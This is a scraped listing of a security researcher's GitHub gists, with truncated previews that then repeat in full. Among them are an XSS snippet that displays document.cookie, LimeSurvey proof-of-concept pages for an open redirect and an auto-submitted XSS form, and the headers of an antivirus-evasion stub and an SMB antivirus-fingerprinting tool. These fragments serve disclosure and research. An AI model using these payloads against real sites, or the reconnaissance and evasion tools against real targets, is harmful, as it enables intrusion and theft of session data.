Markus Piéton marpie

## convKDdef.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" convKDdef

    convKDdef takes a file of KD/WinDBG "Define Type" (dt) command output
    and tries to convert them to C structs.

    It uses a two pass approch to parse and resolv all dependencies. After
    reading the file content and parsing it to Type() objects the
    Types().parse() function gets calls to invoke the two pass algo:

## peEvade.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" peEvade

    TEMPLATE Description

    Author: marpie (marpie@a12d404.net)

    Last Update:  20120531
    Created:      20120530

## xss.js
document.write ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
alert ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);

## phpinfo.php
<?php
phpinfo();
?>

## arbitrary-redirect.html
<html>
  <head><title>poc: Arbitrary URL redirect (move=clearall)</title></head>
  <body>
    <img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
    <script>
      function done() {
        window.location = "https://limesurvey/index.php?sid=51928&move=clearall&lang=de&redirect=http://www.google.de";
      }
    </script>
  </body>

## xss-reload.html
<html>
  <head><title>poc: XSS Injection (reload saved survey)</title></head>
  <body>
    <img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
    <script>
      function done() {
        document.forms["xssme"].submit();
      }
    </script>
    <form id="xssme" action="https://limesurvey/index.php" method="POST">

## boofuzz-freefloatftp-simple.py
#!/usr/bin/env python
import sys
import time

from boofuzz import \
    pedrpc,                 \
    s_binary,               \
    s_block_end,            \
    s_block_start,          \
    s_delim,                \

## keybase.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                marpie
                / keybase.md
            
            
              Created
              October 5, 2017 06:01
            
          
    Keybase proof

I hereby claim:

I am marpie on github.
I am marpie (https://keybase.io/marpie) on keybase.
I have a public key ASDMPdUbr0Dy9WjOZfqFtSGOWakasogF2SwZxpv14XMv6wo

To claim this, I am signing this object:

  
## clean_bndb.py
import sqlite3
import contextlib
import os
import sys

def clean_binja_snapshots(conn, limit = 1):
    with conn as cur:
        for section in [ 'snapshot', 'file_data' ]:
            cur.execute(f'DELETE FROM {section} WHERE id NOT IN (SELECT id FROM {section} ORDER BY id DESC LIMIT ?)', (limit,))

## smb4av.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" smb4av.py

    smb4av uses NamedPipe calls to determine
    the running AntiVirus of the target.

    Credits: @EquationGroup @ShadowBrokers

    Author: marpie (marpie@a12d404.net)
	#!/usr/bin/env python
	# -- coding: utf-8 --
	""" convKDdef

	convKDdef takes a file of KD/WinDBG "Define Type" (dt) command output
	and tries to convert them to C structs.

	It uses a two pass approch to parse and resolv all dependencies. After
	reading the file content and parsing it to Type() objects the
	Types().parse() function gets calls to invoke the two pass algo:
	#!/usr/bin/env python
	# -- coding: utf-8 --
	""" peEvade

	TEMPLATE Description

	Author: marpie (marpie@a12d404.net)

	Last Update: 20120531
	Created: 20120530
	document.write ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
	alert ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
	<html>
	<head><title>poc: Arbitrary URL redirect (move=clearall)</title></head>
	<body>
	<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
	<script>
	function done() {
	window.location = "https://limesurvey/index.php?sid=51928&move=clearall&lang=de&redirect=http://www.google.de";
	}
	</script>
	</body>
	<html>
	<head><title>poc: XSS Injection (reload saved survey)</title></head>
	<body>
	<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
	<script>
	function done() {
	document.forms["xssme"].submit();
	}
	</script>
	<form id="xssme" action="https://limesurvey/index.php" method="POST">
	#!/usr/bin/env python
	import sys
	import time

	from boofuzz import \
	pedrpc, \
	s_binary, \
	s_block_end, \
	s_block_start, \
	s_delim, \
	import sqlite3
	import contextlib
	import os
	import sys

	def clean_binja_snapshots(conn, limit = 1):
	with conn as cur:
	for section in [ 'snapshot', 'file_data' ]:
	cur.execute(f'DELETE FROM {section} WHERE id NOT IN (SELECT id FROM {section} ORDER BY id DESC LIMIT ?)', (limit,))
	#!/usr/bin/env python
	# -- coding: utf-8 --
	""" smb4av.py

	smb4av uses NamedPipe calls to determine
	the running AntiVirus of the target.

	Credits: @EquationGroup @ShadowBrokers

	Author: marpie (marpie@a12d404.net)